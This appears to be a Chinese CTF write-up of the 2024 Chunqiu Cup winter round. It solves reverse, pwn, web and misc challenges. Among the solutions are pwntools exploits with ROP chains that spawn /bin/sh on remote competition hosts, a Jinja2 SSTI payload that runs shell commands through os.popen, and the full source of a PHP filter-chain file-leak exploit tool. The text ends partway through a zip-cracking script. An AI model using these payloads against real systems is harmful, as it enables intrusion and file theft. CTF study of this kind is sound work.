免责声明
❝
由于传播、利用本公众号”隼目安全”所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号”隼目安全”及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉谢谢!
2024春秋杯冬季赛day1
ezgo
IDA调试发现有反调试检测,直接同样ScyllaHide插件一键去除。

找到main_main函数,发现有个加密函数。

通过这部分代码分析出是Base64加密,main_byte_16321就是Base表。

但是查看交叉引用发现main_byte_16321在main_init_0被修改换表,所以真实表应该是下面这个。

加密函数结尾,对Base64加密后的密文进行了异或0xC处理。

main_main函数要求输入一个4长度的字符串,动调发现无论输入什么四位字符,最终加密完都是6个密文字符+2个等号。
加密完对密文进行字节分割,在以下片段分别对第0、2、3、4、5、7下标的字符进行了异或计算。

这边有个time_Since应该是时间检测。
直接在汇编代码该处进行命令断点,设置rax=0xffffffff即可绕过检测

动调发现以下是对文件进行解密。


之前输入四位字符加密得到的8个字符以下统称Key,且被异或处理的称为EncKey
整体解密流程如下:
v51 = 文件字节[i]
v61 = v62 = EncKey[i%8]
v63 = v61 ^ main_byte_65163[v62]
v65 = i % 2
v51 ^= v63
文件字节[i] = v51 ^ EncKey[i%v65 + 4]
main_byte_65163是一个256大小的QWORD数组。
解密流程清楚了,接下来是解出EncKey,由于Key的最后两位统一是两个等号,所以EncKey的最后两位也固定。
所以就需要解出EncKey前六个字节。
由于原文件已知是zip格式,所以可以利用zip文件开头几个字节和结尾段的前几个字节当作已知明文,去对应被加密的zip.zip的对应字节。
ZIP文件开头和结尾段前几个字节:
开头
0x50, 0x4B, 0x03, 0x04, 0x14
倒数22个字节开始
0x50, 0x4B, 0x05, 0x06
被加密的文件对应字节如下:
开头
0x0E, 0xE1, 0xE5, 0xF9, 0x0C
倒数22个字节开始
0xB6, 0xB6, 0x1D, 0x9F
利用z3进行约束求解,即可求出EncKey。
求解代码:
from z3 import *
origin = [0x50, 0x4B, 0x03, 0x04, 0x14]
cipher = [0x0E, 0xE1, 0xE5, 0xF9, 0x0C]
# main_byte_65163
Bytes_ = [0x01,0x57,0x2C,0x7C,0xC7,0x72,0x20,0x70,0xA5,0x96,0x21,
0xDC,0xA8,0x76,0x69,0x14,0xC5,0x24,0x25,0x02,0xB7,0x7A,
0xFC,0xF0,0xC4,0x49,0x56,0xC2,0xC1,0x95,0xEC,0x26,0xCC,
0xF7,0xFF,0x73,0xE1,0x3F,0x84,0x46,0xA9,0xF9,0x3D,0x0E,
0x45,0xF1,0xDA,0x92,0xCE,0x3B,0x3C,0xA0,0x16,0xBC,0x2D,
0xBD,0xA4,0x32,0x90,0x62,0x9D,0x0C,0xDE,0xAD,0x40,0xCF,
0x4B,0x4D,0x6E,0x79,0xC8,0x85,0xD2,0xAC,0x99,0xE8,0x1E,
0xC9,0xD4,0x06,0x34,0x66,0xB8,0xD3,0x13,0xF4,0x42,0x1B,
0x63,0x5F,0x82,0x5B,0x91,0x2A,0x33,0x5D,0xB9,0x7D,0xD5,
0x6C,0x0D,0x28,0x08,0x9B,0x18,0x2E,0xA2,0x67,0x5A,0xE6,
0x8A,0x19,0x50,0x9C,0xB1,0xEF,0x1F,0x12,0xBA,0x86,0x83,
0x77,0x60,0x94,0xFD,0xF6,0x54,0xBF,0xA1,0x93,0x03,0xE7,
0x58,0xE5,0x9A,0x7F,0x22,0xBE,0xD9,0x38,0x27,0x65,0xD7,
0x23,0xFB,0x71,0xFA,0x8F,0xF5,0x6D,0x51,0x9E,0xD6,0x8B,
0x89,0x11,0xCA,0x0F,0x8E,0xCB,0xB3,0xBB,0xF2,0x87,0x75,
0x5C,0x2F,0x98,0x2B,0x1C,0xB4,0xC6,0x0A,0x4C,0x36,0x1A,
0x15,0x88,0x1D,0xE4,0xC3,0x97,0x53,0x30,0x4A,0x3A,0xB5,
0x61,0x55,0xC0,0xA7,0xDB,0x29,0x68,0xE2,0xE0,0x10,0x09,
0x41,0x31,0xF3,0xAF,0xB6,0x6A,0x6F,0x00,0x05,0x0B,0xE3,
0xD1,0x8D,0x47,0x74,0x78,0x7B,0x64,0xDD,0xAB,0xB0,0x39,
0x37,0xFE,0xED,0x52,0xCD,0x81,0xF8,0xAA,0x48,0x6B,0xD0,
0xEB,0x8C,0x44,0x59,0x17,0x9F,0x4F,0xB2,0x35,0xA3,0x7E,
0xEE,0x4E,0xDF,0xE9,0x07,0x43,0xA6,0xAE,0xD8,0xEA,0x80,
0x3E,0x04,0x5E]
Bytes_array = Array('Bytes', BitVecSort(8), BitVecSort(8))
s = Solver()
for i in range(256):
s.add(Bytes_array[i] == Bytes_[i])
Key1,Key2,Key3,Key4,Key5,Key6 = BitVecs("Key1 Key2 Key3 Key4 Key5 Key6",8)
s.add(cipher[0] == origin[0] ^ Key1 ^ Key5 ^ Bytes_array[Key1])
s.add(cipher[1] == origin[1] ^ Key2 ^ Key6 ^ Bytes_array[Key2])
s.add(cipher[2] == origin[2] ^ Key3 ^ Key5 ^ Bytes_array[Key3])
s.add(cipher[3] == origin[3] ^ Key4 ^ Key6 ^ Bytes_array[Key4])
s.add(cipher[4] == origin[4] ^ Key5 ^ Key5 ^ Bytes_array[Key5])
# Zip文件尾段开头4个字节
# 通过下标234%8得到2,也就是从Key3开始加密
s.add(0xB6 == 0x50 ^ Key3 ^ Key5 ^ Bytes_array[Key3])
s.add(0xB6 == 0x4B ^ Key4 ^ Key6 ^ Bytes_array[Key4])
s.add(0x1D == 0x05 ^ Key5 ^ Key5 ^ Bytes_array[Key5])
s.add(0x9F == 0x06 ^ Key6 ^ Key6 ^ Bytes_array[Key6])
# 必须在可视字符范围内
s.add((Key1^2)>=32)
s.add((Key1^2)<=126)
s.add((Key2)>=32)
s.add((Key2)<=126)
s.add((Key3^2)>=32)
s.add((Key3^2)<=126)
s.add((Key4^5)>=32)
s.add((Key4^5)<=126)
s.add((Key5^5)>=32)
s.add((Key5^5)<=126)
s.add((Key6^2)>=32)
s.add((Key6^2)<=126)
if s.check() == sat:
m=s.model()
k1 = m[Key1].as_long()
k2 = m[Key2].as_long()
k3 = m[Key3].as_long()
k4 = m[Key4].as_long()
k5 = m[Key5].as_long()
k6 = m[Key6].as_long()
# 得到EncKey
print(f"{k1}",end=',')
print(f"{k2}",end=',')
print(f"{k3}",end=',')
print(f"{k4}",end=',')
print(f"{k5}",end=',')
print(f"{k6}")
# 108,62,65,98,104,74
输出得到EncKey = {108,62,65,98,104,74};
再将EncKey进行异或处理的还原以及0xC异或的还原,即可得到原Key。
还原代码:
int main_ez_go()
{
// 由z3解出来的EncKey
int key[] = { 108,62,65,98,104,74 };
// 还原EncKey
key[0] ^= 2;
key[2] ^= 2;
key[3] ^= 5;
key[4] ^= 5;
key[5] ^= 2;
for (int i = 0; i < 6; i++)
{
printf("%c", key[i]^0xc);
}
// b2OkaD
return 0;
}
得到Key为b2OkaD。
利用之前得到的Base表,用Cyberchef进行解密即可得到原始输入。

所以运行程序输入oadi即可解密本地的zip.zip得到flag

bypass
exp如下
from pwn import *
import time
import numpy as np
# 定义本地文件路径
local_file = './pwn'
# 加载 ELF 文件
elf = ELF(local_file)
# 加载 libc 库文件
libc = ELF('./libc.so.6')
# 设置日志级别为调试
context.log_level = 'debug'
# 设置架构
context.arch = elf.arch
# 设置终端
context.terminal = ['tmux', 'neww']
# 定义发送数据函数
def s(data):
return io.send(data)
# 定义在特定分隔符后发送数据函数
def sa(delim, data):
return io.sendafter(delim, data)
# 定义发送一行数据函数
def sl(data):
return io.sendline(data)
# 定义在特定分隔符后发送一行数据函数
def sla(delim, data):
return io.sendlineafter(delim, data)
# 定义接收数据函数
def r(numb=4096):
return io.recv(numb)
# 定义接收数据直到特定分隔符函数
def ru(delims, drop=True):
return io.recvuntil(delims, drop)
# 定义将数据转换为 u32 类型函数
def uu32(data):
return u32(data.ljust(4, b'x00'))
# 定义将数据转换为 u64 类型函数
def uu64(data):
return u64(data.ljust(8, b'x00'))
# 定义获取补码(64 位)函数
def get_q(data):
return (~np.uint64(data) + 1)
# 定义获取补码(32 位)函数
def get_d(data):
return (~np.uint32(data) + 1)
# 定义获取 system 函数地址和/bin/sh 字符串地址的函数
def get_sh():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))
# 定义打印地址信息函数
def info_addr(tag, addr):
return io.info(tag + '==>' +': {:#x}'.format(addr))
# 定义进入交互模式函数
def itr():
return io.interactive()
# 连接远程服务器
io = remote('47.94.103.168', 20637)
# 发送 4 个字节的 2
s(p8(2) * 4)
# 接收数据直到'd'
ru('d')
# 接收数据直到换行符
ru('n')
# 计算 libc 基地址
libc_base = uu64(r(6)) - libc.sym.puts
# 发送 4 个字节的 0
s(p8(0) * 4)
# 定义 one gadget 地址
one = 0x4f302
# 构造并发送数据
s(b'KEY: ' + b'a' * 19 + p8(0x14) + p8(0x2) + b'c' * 8 + p64(one + libc_base))
# 等待 0.1 秒
time.sleep(0.1)
# 发送数据
s(b'VAL: ' + b'b' * 512)
# 进入交互模式
itr()
easy_flask
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /app/flag').read() }}
输入框输入上面内容即可

ezre
伪随机生成器,但是生成之后数据固定,给比较前下断点,查看 s1 就可以了
flag{b799eb3a-59ee-4b3b-b49d-39080fc23e99
file_copy
将下面的脚本上传到了自己的服务器(因为当时设备没有装linux,所以就拿了台服务器将就一下)
#!/usr/bin/env python3
import sys
import signal
import argparse
import json
from filters_chain_oracle.core.requestor import Requestor
from filters_chain_oracle.core.verb import Verb
from filters_chain_oracle.core.bruteforcer import RequestorBruteforcer
"""
Class FiltersChainOracle, defines all the CLI logic.
- useful info -
This tool is based on the following script :
https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal
-php/solve/solution.py
Each step of this trick is detailed in the following blogpost :
https://www.synacktiv.com/publications/php-filter-chains-file-read-from-errorbased-oracle
"""
class FiltersChainOracle():
def __init__(self):
self.requestor = None
self.bruteforcer = None
"""
Function managing interuption
"""
def signal_handler(self, sig, frame):
print("[*] File leak gracefully stopped.")
print("[+] File {} was partially leaked".format(self.requestor.file_to_leak))
print(self.bruteforcer.base64)
print(self.bruteforcer.data)
if self.log_file:
self.log_in_file("# The following data was leaked from {} from the
file {}n{}n".format(self.requestor.target, self.requestor.file_to_leak,
self.bruteforcer.data.decode("utf-8")))
sys.exit(1)
"""
Function managing log file
"""
def log_in_file(self, content):
print("[*] Info logged in : {}".format(self.log_file))
with open(self.log_file, "a") as file:
file.write(content)
file.flush()
"""
Function managing CLI arguments
"""
def main(self):
#signal management
usage = """
Oracle error based file leaker based on PHP filters.
Author of the tool : @_remsio_
Trick firstly discovered by : @hash_kitten
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file
'/test' --parameter 0
[*] The following URL is targeted : http://127.0.0.1
[*] The following local file is leaked : /test
[*] Running POST requests
[+] File /test leak is finished!
b'SGVsbG8gZnJvbSBTeW5hY2t0aXYncyBibG9ncG9zdCEK'
b"Hello from Synacktiv's blogpost!\n"
"""
# Parsing command line arguments
parser = argparse.ArgumentParser(description=usage,
formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument("--target", help="URL on which you want to run the
exploit.", required=True)
parser.add_argument("--file", help="Path to the file you want to leak.",
required=True)
parser.add_argument("--parameter", help="Parameter to exploit.",
required=True)
parser.add_argument("--data", help="Additionnal data that might be
required. (ex : {"string":"value"})", required=False)
parser.add_argument("--headers", help="Headers used by the request. (ex :
{"Authorization":"Bearer [TOKEN]"})", required=False)
parser.add_argument("--verb", help="HTTP verb to use
POST(default),GET(~ 135 chars by default),PUT,DELETE", required=False)
parser.add_argument("--proxy", help="Proxy you would like to use to run
the exploit. (ex : http://127.0.0.1:8080)", required=False)
parser.add_argument("--in_chain", help="Useful to bypass weak strpos
configurations, adds the string in the chain. (ex : KEYWORD)", required=False)
parser.add_argument("--time_based_attack", help="Exploits the oracle as a
time base attack, can be improved. (ex : True)", required=False)
parser.add_argument("--delay", help="Set the delay in second between
each request. (ex : 1, 0.1)", required=False)
parser.add_argument("--json", help="Send data as JSON (--json=1)",
required=False)
parser.add_argument("--match", help="Match a pattern in the response as
the oracle (--match='Allowed memory size of')", required=False)
parser.add_argument("--offset", help="Offset from which a char should be
leaked (--offset=100)", required=False, type=int)
parser.add_argument("--log", help="Path to log file (--
log=/tmp/output.log)", required=False)
args = parser.parse_args()
# Time based attack management
if args.time_based_attack:
time_based_attack=args.time_based_attack
else:
time_based_attack=False
# Delay management
if args.delay:
delay = args.delay
else:
delay = 0.0
# Data management
if args.data:
try:
json.loads(args.data)
except ValueError as err:
print("[-] data JSON could not be loaded, please make it valid")
exit()
data=args.data
else:
data="{}"
# Headers management
if args.headers:
try:
json.loads(args.headers)
except ValueError as err:
print("[-] headers JSON could not be loaded, please make it valid")
exit()
headers=args.headers
else:
headers="{}"
# Verb management
if args.verb:
try:
verb = Verb[args.verb]
except KeyError:
verb = Verb.POST
else:
verb = Verb.POST
if args.in_chain:
in_chain = args.in_chain
else:
in_chain = ""
# Delay management
json_input = False
if args.json:
json_input = True
# Match pattern
match = False
if args.match:
match = args.match
# Offset from which a char should be leaked
offset = 0
if args.offset:
offset = args.offset
# Log file path
self.log_file = False
if args.log:
self.log_file = args.log
# Attack launcher
self.requestor = Requestor(args.file, args.target, args.parameter, data,
headers, verb, in_chain, args.proxy, time_based_attack, delay, json_input, match)
self.bruteforcer = RequestorBruteforcer(self.requestor, offset)
signal.signal(signal.SIGINT, self.signal_handler)
# Auto fallback to time based attack
self.bruteforcer.bruteforce()
# Result parsing
if self.bruteforcer.base64:
print("[+] File {} leak is finished!".format(self.requestor.file_to_leak))
print(self.bruteforcer.base64)
print(self.bruteforcer.data)
if self.log_file:
self.log_in_file("# The following data was leaked from {} from the
file {}n{}n".format(self.requestor.target, self.requestor.file_to_leak,
self.bruteforcer.data.decode("utf-8")))
exit()
else:
print("[-] File {} is either empty, or the exploit did not
work :(".format(self.requestor.file_to_leak))
time_based_attack = 1
print("[*] Auto fallback to time based attack")
self.requestor = Requestor(args.file, args.target, args.parameter, data,
headers, verb, in_chain, args.proxy, time_based_attack, delay, json_input, match)
self.bruteforcer = RequestorBruteforcer(self.requestor, offset)
self.bruteforcer.bruteforce()
if verb == Verb.GET:
print("[*] You passed your payload on a GET parameter, the leak might
be partial! (~135 chars max by default)")
print(self.bruteforcer.base64)
print(self.bruteforcer.data)
if __name__ == "__main__":
filters_chain_oracle = FiltersChainOracle()
filters_chain_oracle.main()
sys.exit(0)
塞进机器后直接
python filters_chain_oracle_exploit.py --target http://eci2ze0sy1cu9fue3fdepy3.cloudeci1.ichunqiu.com:80 --file '/flag' --parameter path

Gender_Simulation
缓冲区溢出
from pwn import *
# 加载二进制文件和 libc
binary_path = './pwn'
elf_binary = ELF(binary_path)
libc_binary = ELF('./libc.so.6')
# 设置日志级别、架构和终端
context.log_level = 'debug'
context.arch = elf_binary.arch
context.terminal = ['tmux', 'neww']
# 定义工具函数
send_data = lambda data: io.send(data) # 发送数据
send_after_delim = lambda delim, data: io.sendafter(delim, data) # 在接收到 delim
后发送数据
send_line_data = lambda data: io.sendline(data) # 发送一行数据
send_line_after_delim = lambda delim, data: io.sendlineafter(delim, data) # 在接收
到 delim 后发送一行数据
receive_data = lambda num_bytes=4096: io.recv(num_bytes) # 接收指定字节数的
数据
receive_until_delim = lambda delims, drop=True: io.recvuntil(delims, drop) # 接收
数据直到遇到 delims
unpack_32bit = lambda data: u32(data.ljust(4, 'x00')) # 将数据解析为 32 位无符
号整数
unpack_64bit = lambda data: u64(data.ljust(8, 'x00')) # 将数据解析为 64 位无符
号整数
enter_interactive_mode = lambda: io.interactive() # 进入交互模式
# 连接到远程服务器
io = remote('59.110.162.87', 30743)
# 接收泄露的地址并计算 libc 基地址
receive_until_delim('A gift: ')
leaked_address = int(receive_until_delim('n'), 16) # 读取泄露的地址
libc_base_address = leaked_address - libc_binary.sym.setvbuf # 计算 libc 基地址
log.info("libc_base_address = " + hex(libc_base_address)) # 打印 libc 基地址
# 选择菜单选项
receive_until_delim('Choose onen1. Boyn2. Girln')
send_line_data('2') # 选择 Girl
receive_until_delim('2. Tomboyn')
send_line_data('2') # 选择 Tomboy
receive_until_delim('certificaten')
# 构造 ROP 链
pop_rdi_gadget = libc_base_address + 0x000000000010f75b # pop rdi; ret 的地址
ret_gadget = 0x000000000040201a # ret 指令的地址
system_function_address = libc_binary.sym.system + libc_base_address # system 函
数的地址
bin_sh_string_address = next(libc_binary.search('/bin/sh')) + libc_base_address #
/bin/sh 字符串的地址
# 发送 payload
send_line_data(p64(0x0004025E6)) # 发送
receive_until_delim('If you think you')
send_data(b'a' * 0x18 + p64(pop_rdi_gadget) + p64(bin_sh_string_address) +
p64(ret_gadget) + p64(system_function_address)) # 构造 ROP 链
# 进入交互模式
enter_interactive_mode()
进入 shell 后直接 cat /home/ctf/flag
flag{161eaaf4-4214-422d-83df-255dbc16b228}
Gotar
软链接,先创建一个文件夹,进入那个文件夹然后构造软链接,然后再压缩文件夹

然后上传访问/assets/extracted/2/gioisi,得到 session


伪造得到 flag
ko0h
用 ida 打开
直接看 main 解变表 base64 的话是假的 flag
去花之后跟进里面调用的函数,一个个去花 最后发现是个魔改 rc4 才是正确 flag 的加密逻辑
改 rc4 是将原来的异或换成了减,所以 exp 改成加就可以
public class RC4 {
/**
* 初始化 RC4 算法的状态向量 S 盒
*
* @param s 状态向量 S 盒,长度为 256
* @param key 密钥
* @param len_k 密钥长度
*/ public static void rc4_init(int[] s, byte[] key, int
len_k) { int i = 0, j = 0; byte[] k = new byte[256];
int tmp = 0;
// 初始化 S 盒和临时密钥数组 k
for (i = 0; i < 256; i++)
{ s[i] = i;
k[i] = key[i % len_k];
}
// 对 S 盒进行置换操作
for (i = 0; i < 256; i++) {
j = (j + s[i] + (k[i] & 0xFF)) % 256;
tmp = s[i]; s[i] = s[j]; s[j] = tmp;
}
}
/**
* 使用 RC4 算法对数据进行加密或解密
*
* @param data 待处理的数据
* @param len_d 数据长度
* @param key 密钥
* @param len_k 密钥长度
*/ public static void rc4_crypt(byte[] data, int len_d, byte[] key, int
len_k) { int[] s = new int[256]; rc4_init(s, key, len_k);
int i = 0, j = 0, t = 0;
int k = 0; int tmp;
// 对数据进行逐字节处理
for (k = 0; k < len_d; k++)
{ i = (i + 1) % 256; j =
(j + s[i]) % 256; tmp = s[i];
s[i] = s[j]; s[j] = tmp;
t = (s[i] + s[j]) % 256; data[k]
+= (byte) s[t];
}
}
public static void main(String[] args) { byte[]
key = "DDDDAAAASSSS".getBytes(); int
key_len = key.length;
byte[] data = {
0x18, 0x9C, 0x47, 0x3D, 0x3B, 0xE1, 0x29, 0x27, 0x9F, 0x34, 0x83, 0xD5,
(byte) 0xED, (byte) 0xB5, 0x6E, 0x59,
0x7F, (byte) 0xDE, 0x47, (byte) 0xD7, 0x65, 0x3F, 0x7A, 0x33, 0x5B, 0x64,
0xB6, (byte) 0xFA,
0x94, 0x55, 0x87, 0x42,
0x20, 0x06, 0x0C, 0x69, (byte) 0xFE, 0x72, 0xA9, 0xE4, 0xD1, 0x7C };
rc4_crypt(data, data.length, key, key_len);
for (int i = 0; i < data.length; i++) {
System.out.print("0x" + String.format("%02X", data[i]) + ",");
System.out.print((char) (data[i] & 0xFF)); }
}
}
See anything in these pics
首先下载附件,爆破压缩包
密码:5FIVE
解压下来,一张图片

foremost 提取,得到另一张 png

爆破一下宽高

简单计算
丢进 cyberchef 开 xor bruteforce
flag{x0r_Brute_is_easy!
简单镜像提取
Neta 下载提取文件
一个 zip,解压得到

根据提示用 RR_studio 恢复

得到一个 xls

打开往下滑 That’s cool!!本题通关 FLAG:E7A10C15E26AA5750070EF756AAA1F7C
你是小哈斯
写一个脚本批量破解 hash 并拼接明文
import hashlib
import itertools
import string
# 这里把你要匹配的所有 SHA-1 哈希都放进来
hash_list = [
"356a192b7913b04c54574d18c28d46e6395428ab",
"da4b9237bacccdf19c0760cab7aec4a8359010b0",
"77de68daecd823babbb58edb1c8e14d7106e83bb",
"1b6453892473a467d07372d45eb05abc2031647a",
"ac3478d69a3c81fa62e60f5c3696165a4e5e6ac4",
"c1dfd96eea8cc2b62785275bca38ac261256e278",
"902ba3cda1883801594b6e1b452790cc53948fda",
"fe5dbbcea5ce7e2988b8c69bcfdfde8904aabc1f",
"0ade7c2cf97f75d009975f4d720d1fa6c19f4897",
"b6589fc6ab0dc82cf12099d1c2d40ab994e8410c",
"3bc15c8aae3e4124dd409035f32ea2fd6835efc9",
"21606782c65e44cac7afbb90977d8b6f82140e76",
"22ea1c649c82946aa6e479e1ffd321e4a318b1b0",
"aff024fe4ab0fece4091de044c58c9ae4233383a",
"58e6b3a414a1e090dfc6029add0f3555ccba127f",
"4dc7c9ec434ed06502767136789763ec11d2c4b7",
"8efd86fb78a56a5145ed7739dcb00c78581c5375",
"95cb0bfd2977c761298d9624e4b4d4c72a39974a",
"51e69892ab49df85c6230ccc57f8e1d1606caccc",
"042dc4512fa3d391c5170cf3aa61e6a638f84342",
"7a81af3e591ac713f81ea1efe93dcf36157d8376",
"516b9783fca517eecbd1d064da2d165310b19759",
"4a0a19218e082a343a1b17e5333409af9d98f0f5",
"07c342be6e560e7f43842e2e21b774e61d85f047",
"86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
"54fd1711209fb1c0781092374132c66e79e2241b",
"60ba4b2daa4ed4d070fec06687e249e0e6f9ee45",
"d1854cae891ec7b29161ccaf79a24b00c274bdaa",
"7a81af3e591ac713f81ea1efe93dcf36157d8376",
"53a0acfad59379b3e050338bf9f23cfc172ee787",
"042dc4512fa3d391c5170cf3aa61e6a638f84342",
"a0f1490a20d0211c997b44bc357e1972deab8ae3",
"53a0acfad59379b3e050338bf9f23cfc172ee787",
"4a0a19218e082a343a1b17e5333409af9d98f0f5",
"07c342be6e560e7f43842e2e21b774e61d85f047",
"86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
"54fd1711209fb1c0781092374132c66e79e2241b",
"c2b7df6201fdd3362399091f0a29550df3505b6a",
"86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
"a0f1490a20d0211c997b44bc357e1972deab8ae3",
"3c363836cf4e16666669a25da280a1865c2d2874",
"4a0a19218e082a343a1b17e5333409af9d98f0f5",
"54fd1711209fb1c0781092374132c66e79e2241b",
"27d5482eebd075de44389774fce28c69f45c8a75",
"5c2dd944dde9e08881bef0894fe7b22a5c9c4b06",
"13fbd79c3d390e5d6585a21e11ff5ec1970cff0c",
"07c342be6e560e7f43842e2e21b774e61d85f047",
"395df8f7c51f007019cb30201c49e884b46b92fa",
"11f6ad8ec52a2984abaafd7c3b516503785c2072",
"84a516841ba77a5b4648de2cd0dfcb30ea46dbb4",
"7a38d8cbd20d9932ba948efaa364bb62651d5ad4",
"e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98",
"d1854cae891ec7b29161ccaf79a24b00c274bdaa",
"6b0d31c0d563223024da45691584643ac78c96e8",
"5c10b5b2cd673a0616d529aa5234b12ee7153808",
"4a0a19218e082a343a1b17e5333409af9d98f0f5",
"07c342be6e560e7f43842e2e21b774e61d85f047",
"86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
"54fd1711209fb1c0781092374132c66e79e2241b",
"60ba4b2daa4ed4d070fec06687e249e0e6f9ee45",
"54fd1711209fb1c0781092374132c66e79e2241b",
"86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
"6b0d31c0d563223024da45691584643ac78c96e8",
"58e6b3a414a1e090dfc6029add0f3555ccba127f",
"53a0acfad59379b3e050338bf9f23cfc172ee787",
"84a516841ba77a5b4648de2cd0dfcb30ea46dbb4",
"22ea1c649c82946aa6e479e1ffd321e4a318b1b0",
"e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98",
"53a0acfad59379b3e050338bf9f23cfc172ee787",
"042dc4512fa3d391c5170cf3aa61e6a638f84342",
"a0f1490a20d0211c997b44bc357e1972deab8ae3",
"042dc4512fa3d391c5170cf3aa61e6a638f84342",
"a0f1490a20d0211c997b44bc357e1972deab8ae3",
"53a0acfad59379b3e050338bf9f23cfc172ee787",
"84a516841ba77a5b4648de2cd0dfcb30ea46dbb4",
"11f6ad8ec52a2984abaafd7c3b516503785c2072",
"95cb0bfd2977c761298d9624e4b4d4c72a39974a",
"395df8f7c51f007019cb30201c49e884b46b92fa",
"c2b7df6201fdd3362399091f0a29550df3505b6a",
"3a52ce780950d4d969792a2559cd519d7ee8c727",
"86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
"a0f1490a20d0211c997b44bc357e1972deab8ae3",
"3c363836cf4e16666669a25da280a1865c2d2874",
"4a0a19218e082a343a1b17e5333409af9d98f0f5",
"54fd1711209fb1c0781092374132c66e79e2241b",
"27d5482eebd075de44389774fce28c69f45c8a75",
"5c2dd944dde9e08881bef0894fe7b22a5c9c4b06",
"13fbd79c3d390e5d6585a21e11ff5ec1970cff0c",
"07c342be6e560e7f43842e2e21b774e61d85f047",
"395df8f7c51f007019cb30201c49e884b46b92fa",
"11f6ad8ec52a2984abaafd7c3b516503785c2072",
"84a516841ba77a5b4648de2cd0dfcb30ea46dbb4",
"7a38d8cbd20d9932ba948efaa364bb62651d5ad4",
"e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98",
"d1854cae891ec7b29161ccaf79a24b00c274bdaa",
"6b0d31c0d563223024da45691584643ac78c96e8",
"5c10b5b2cd673a0616d529aa5234b12ee7153808",
"3a52ce780950d4d969792a2559cd519d7ee8c727",
"22ea1c649c82946aa6e479e1ffd321e4a318b1b0",
"aff024fe4ab0fece4091de044c58c9ae4233383a",
"58e6b3a414a1e090dfc6029add0f3555ccba127f",
"4dc7c9ec434ed06502767136789763ec11d2c4b7",
"8efd86fb78a56a5145ed7739dcb00c78581c5375",
"95cb0bfd2977c761298d9624e4b4d4c72a39974a",
"51e69892ab49df85c6230ccc57f8e1d1606caccc",
"042dc4512fa3d391c5170cf3aa61e6a638f84342",
"7a81af3e591ac713f81ea1efe93dcf36157d8376",
"516b9783fca517eecbd1d064da2d165310b19759",
"4a0a19218e082a343a1b17e5333409af9d98f0f5",
"07c342be6e560e7f43842e2e21b774e61d85f047",
"86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
"54fd1711209fb1c0781092374132c66e79e2241b",
"60ba4b2daa4ed4d070fec06687e249e0e6f9ee45",
"d1854cae891ec7b29161ccaf79a24b00c274bdaa",
"7a81af3e591ac713f81ea1efe93dcf36157d8376",
"53a0acfad59379b3e050338bf9f23cfc172ee787",
"042dc4512fa3d391c5170cf3aa61e6a638f84342",
"a0f1490a20d0211c997b44bc357e1972deab8ae3",
"53a0acfad59379b3e050338bf9f23cfc172ee787",
"4a0a19218e082a343a1b17e5333409af9d98f0f5",
"07c342be6e560e7f43842e2e21b774e61d85f047",
"86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
"54fd1711209fb1c0781092374132c66e79e2241b",
"c2b7df6201fdd3362399091f0a29550df3505b6a",
"356a192b7913b04c54574d18c28d46e6395428ab",
"da4b9237bacccdf19c0760cab7aec4a8359010b0",
"77de68daecd823babbb58edb1c8e14d7106e83bb",
"1b6453892473a467d07372d45eb05abc2031647a",
"ac3478d69a3c81fa62e60f5c3696165a4e5e6ac4",
"c1dfd96eea8cc2b62785275bca38ac261256e278",
"902ba3cda1883801594b6e1b452790cc53948fda",
"fe5dbbcea5ce7e2988b8c69bcfdfde8904aabc1f",
"0ade7c2cf97f75d009975f4d720d1fa6c19f4897",
"b6589fc6ab0dc82cf12099d1c2d40ab994e8410c",
"3bc15c8aae3e4124dd409035f32ea2fd6835efc9",
"21606782c65e44cac7afbb90977d8b6f82140e76"
]
candidates = set()
for i in range(10000):
candidates.add(str(i))
lowercase = string.ascii_lowercase
for length in range(1, 4):
for combo in itertools.product(lowercase, repeat=length):
candidates.add("".join(combo))
uppercase = string.ascii_uppercase
for length in range(1, 4):
for combo in itertools.product(uppercase, repeat=length):
candidates.add("".join(combo))
symbols = "!@#$%^&*()-_=+[]{},.;:"'`~<>?/\|"
for sym in symbols:
candidates.add(sym)
candidates.add(" ")
candidates.add("t")
candidates.add("n")
sha1_dict = {}
print("[*] 准备生成 SHA-1 字典,共有候选明文数量 =", len(candidates), "请稍候...")
for plain in candidates:
h = hashlib.sha1(plain.encode("utf-8")).hexdigest()
sha1_dict[h] = plain
print("[*] 字典生成完成。开始匹配...")
matched_plaintexts = ""
for hval in hash_list:
if hval in sha1_dict:
matched_plaintexts += sha1_dict[hval] # 直接拼接
print(f"{hval} => {sha1_dict[hval]}")
else:
print(f"{hval} => [未匹配]")
# 输出拼接结果
print("n[*] 匹配的明文拼接结果:")
print(matched_plaintexts)
print("[*] 匹配完成。若还有未匹配,则可进一步扩大字典或检查是否有特殊格式。
")
[*] 匹配的明文拼接结果:
1234567890-
=qwertyuiopflag{no_is_flag}asdfghjklzxcvbnm,flag{game_cqb_isis_cxyz}.asdfghjklzxcvb
nm,.qwertyuiopflag{no_is_flag}1234567890-=
[*] 匹配完成。若还有未匹配,则可进一步扩大字典或检查是否有特殊格式
通往哈希的旅程
cmd5直接解

flag{18876011645}
压力大写个脚本
先写脚本解压嵌套压缩包
import zipfile
import os
import base64
current_dir = os.getcwd()
for i in range(99, 0, -1): password_file =
os.path.join(current_dir, f"password_{i}.txt") zip_file =
os.path.join(current_dir, f"zip_{i}.zip")
# 读取并解码密码
with open(password_file, "r") as f:
password = base64.b64decode(f.read().strip()).decode("utf-8")
# 解压文件
with zipfile.ZipFile(zip_file) as zf:
